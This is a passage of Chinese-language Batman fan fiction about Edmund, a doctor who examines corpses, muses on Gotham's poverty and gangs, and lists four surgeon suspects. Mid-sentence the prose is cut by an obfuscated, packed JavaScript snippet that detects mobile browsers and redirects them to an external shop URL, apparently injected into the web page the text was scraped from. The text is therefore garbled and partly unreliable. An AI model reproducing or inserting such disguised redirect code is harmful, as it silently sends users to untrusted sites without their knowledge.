埃德蒙看着手术台上的尸体,这些尸体很新鲜,而且不是流浪汉的,其中一个死于自杀,一个死于交通事故,一个死于他杀。这就是人类,在这个世界上的人类随时都有可能死去,然后他们的尸体被家人带走,放进坟墓。坟墓也需要缴纳土地税,当然这份税负并不算重,因此也有人在高尔夫球场里埋一具尸体,说这是坟场,以此避税。 但更多的尸体会被直接火化,会被丢弃,会被贩卖,会被收藏……有尊严的活着本就不易,更困难的是有尊严的死去。死者在月下爬行,即便如此也无法爬行到天堂。据说富人上天堂比起骆驼钻过针眼更加困难,而穷人甚至连一个针眼都没有,也一辈子都没见过骆驼。埃德蒙不想显得嫉世愤俗,因为这一切都没有意义,他什么都不能改变。 甚至于,难道蝙蝠侠就能改变什么吗?哥谭依旧是犯罪之都,而绝大部分人犯罪也只是为了弄到一点吃的。穷人偷窃穷人,穷人抢劫穷人,他们甚至不知道钻石区的门开在哪里。 然后埃德蒙洗干净了自己的双手,他给自己喷上了香水,他像个体面人一样走出了实验室,路上遇到的医学生正拿着一个头骨把玩。婴儿的头骨骨缝是应当并未愈合的,但这个很明显不是,它长得畸形,又因为生产的挤压显得格外古怪。那个学生对他身边的另一个人说自己的老师抢到了这个样本,来的时候那个婴儿哭得像是《求生之路》里面的which。 哥谭的天色依旧阴霾,在重重压下的天空之中飞翔着乌鸦。 埃德蒙坐上车,司机打开了广播,在广播里传来昂扬的声音——清洁剂,能洗干净瓜果蔬菜上残留的一切农药;你需要圣诞树吗,提早订购享受优惠;每个女孩都要给自己的娃娃准备新的首饰,因为你值得;爱丽丝掉进了兔子洞,圣哉万王之王……无数的电波交汇在一起,一遍一遍传达着的东西只有一个,这是最好的时代。 然而再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048809|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更远的地方看,可以看到烂尾楼,开发商和他的全家死于枪击,墙上画着不知属于哪个帮派的符号。现在那栋楼上竖着同样不知道属于谁的旗帜,旗帜已经很旧了,在风中似乎随时可能碎裂。旗帜下面拴着一只鞋,或许鞋子里面还有脚,前几天这里的帮派进行了一场巷战,因为有人跨越了界限,抢走了一根还能用的针头。 而更远处是韦恩大厦,哥谭最高的建筑物,即使在白天,霓虹灯和LED屏幕的光也依然照耀着四方。天空中飞行着广告空艇,轰炸一般的传来了现在流行的东西的消息。你需要不断奔跑,然后才能保持停留在原地,狼群会先吃掉队的小猪,呼呼,呼呼的吹倒你的稻草屋和木屋,砖头屋要加税。 向着另一个方向可以看到码头,并不是所有码头都进行了全机械化的改造,因为码头工人需要生计——一部分码头工人。加入工会的工人总有活干,只要你交足了会费。为了保住自己的工作,你就得为了公会去撕咬那些没有加入工会的人,工作只有那么一点,钱只有那么一点。不过幸运的是工会的身份也依靠血缘传播,工会会员的孩子也是会员。 更远的地方是什么?在海的中心又是什么? 在海的中心是岛屿,在那里阳光普照,在那里从未存在救赎。 汽车驶过大桥,上层的桥面通行着汽车,下层的桥面僵卧着流浪汉,一个体面人,只要他运气好,不随便去一些不体面的地方,他或许一辈子都不会真的见到流浪汉。他只会知道自己的某个同事突然被辞退,然后他就从此销声匿迹,亦或者对门某一天换了新的住客,他们给小区里的每个人准备了饼干。 克拉克并没有在家里等埃德蒙,埃德蒙也觉得没什么,他又洗了个澡,看着镜子里的自己。仅从审美的角度上来说,埃德蒙对自己的容貌还是自信的,但这也不算什么,他见过更好看的人,他们的皮肤还被收藏在他姐姐的小金库里,和他姐夫的全身血管标本一起。 然后埃德蒙坐在沙发上,打开了电视,从电视里传来各种声音,让整个寂静的房子变得喧闹起来。埃德蒙听说哥谭又鬼魂,但从来没有哪个鬼魂找上过他,不过想来也是,鬼魂找不到这里,鬼魂甚至不知道这里还有一个小区,鬼魂甚至不知道自己是不该这么死的。在电视里播放着闯关游戏,再过一关奖金增加1000美元,没闯过这关之前的奖池全部清空。 埃德蒙翻开了自己的记事本,上面写着四个嫌疑人的名字。 科洛莫,哥谭总医院的外科医生,有精神分裂和被害妄想的症状,正在服药,父母双亡。 安东尼,圣玛利亚仁爱医院的外科医生,妻子因车祸死后有躁郁倾向,不肯服药,父母双亡。 德雷克,帮派医生,狂躁症,不知道是否服药,父母双亡。 道格拉斯,帮派医生,MAP,狂躁症,不知道是否服药,父母双亡。 孤儿是哥谭的特产。